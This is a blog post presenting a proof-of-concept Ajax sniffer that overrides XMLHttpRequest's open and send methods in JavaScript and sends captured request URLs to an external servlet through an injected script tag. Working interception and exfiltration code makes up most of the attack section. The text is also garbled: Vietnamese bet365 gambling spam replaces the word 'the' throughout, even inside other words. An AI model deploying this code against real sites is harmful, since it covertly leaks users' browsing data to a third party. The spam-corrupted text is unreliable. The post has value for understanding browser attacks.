Showing posts with label Sniffer. Show all posts
Showing posts with label Sniffer. Show all posts

Wednesday, January 17, 2007

Ajax Sniffer - Prrof of concept

NOTE - The original idea was discussed by Stefano Di Paola in his paper Subverting Ajax. I have simply created a working proof of concept of ajax based sniffer.

I have taken cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same files as I demonstrated in ajax worm PoC. You can see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 demo at http://www.attacklabs.com

Let’s take a look at how to create an ajax based sniffer.

In order to create a sniffer we need to do two things
1. Override cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 open and send function of XMLHttpRequest using javascript inheritance
2. Send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data to a program on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r domain

Override cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 open and send function of XMLHttpRequest using javascript inheritance

What is inheritance?


In object-oriented programming, inheritance is a way to form new classes (subclasses) using classes that have already been defined (super classes). The new classes, also known as inherited classes, take over attributes and behavior of pre-existing classes, which are referred to as base classes (or super classes). It is intended to help reuse of existing code with little or no modification. Many object-oriented programming languages permit a class or object to replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implementation of a behavior—that it has inherited. This process is usually called overriding. Anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r reason to use inheritance is to provide additional data or behavior features. This is often used when incorporating new features into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 super class is eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r not possible or not appropriate.

Javascript Prototype feature and inheritance

Although JavaScript is a scripting language, it supports object-oriented programming. There may be no classes or instances but it has objects, prototypes and implicit inheritance. To find out more about inheritance in Javascript you can look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 links in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 references section. The example below shows how to extend an object in javascript to add more function to it using prototype feature


//Define a class in javascript
function MainClass()
{
alert('this is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main class');
}

//Create an object
var newClass = new MainClass();

//Add a new function to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 existing class ‘MainClass’
MainClass.prototype.newFunction = function()
{
alert('this is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new function');
}

//Call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new function
newClass.newFunction();


As you can see, using prototype we can add new functions to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 existing class or override functionality of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 existing function.

Overriding open function of XMLHttpRequest

/*Create a new function called myOpen. Call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sniffing function from it and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n pass cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 control to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original open function of XMLHttpRequest object. */



var myOpen = function(method, url, async, user, password) {
send_to_attacker("url="+url);
this.originalOpen(method, url, async, user, password);
}

/*Store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reference to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original open function of XMLHttpRequest object. */


XMLHttpRequest.prototype.originalOpen = XMLHttpRequest.prototype.open;


/*Assign cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 newly created myOpen function to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original open function of XMLHttpRequest. Now whenever a call to open function is made, it will invoke myOpen function first and from within myOpen cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original open function is invoked to let XMLHttpRequest perform its function. */



XMLHttpRequest.prototype.open = myOpen;


Overriding send function of XMLHttpRequest

/* Create a new function called mySend. This function overrides cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original send function of XMLHttpRequest object and calls it towards cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end. */



var mySend = function(a) {
var xhr = this;

/* This function would get called when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 onload event is called. */


var onload = function() {
//alert(xhr.responseText);
};

/* This function is called if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is an error when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 onerror event is called. */


var onerror = function() {
alert(xhr.status);
};

/* Add cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 load and error events to this function. */


xhr.addEventListener("load", onload, false);
xhr.addEventListener("error", onerror, false);

/* Call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original send function. */

xhr.originalSend(a);
}

/* Store cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original function in anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r variable and call it from within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 overriding function. */


XMLHttpRequest.prototype.originalSend = XMLHttpRequest.prototype.send;

/* Assign cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 newly created mySend function to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original open function of XMLHttpRequest. Now whenever a call to send function is made, it will invoke mySend function first and from within mySend cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original send function is invoked to let XMLHttpRequest object perform its function. */



XMLHttpRequest.prototype.send = mySend;


/* Adding a new function to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 XMLHttpRequest object. It can be called using ajax_request.newMethod(); */



XMLHttpRequest.prototype.newMethod = function() {
alert("New function added to XMLHttpRequest");
}


Send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data to a program on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r domain

This function sends cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data to a servlet on an external domain. To read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 proof of concept of how to bypass same origin barrier of javascript read here and view cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 demo at http://www.attacklabs.com


function send_to_attacker(param_url)
{
var attack_script = "http://www.myappsecurity.com:8084/Mail_List/sniffer?" + param_url;

var script = document.createElement('script');
script.src = attack_script;
script.type = 'text/javascript';
document.body.appendChild(script);

//Remove cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script element after it has been executed as it is no longer required.
document.body.removeChild(script);
}


You can see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 demo at http://www.attacklabs.com

You can download cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source code at http://www.attacklabs.com/download/sniffer.rar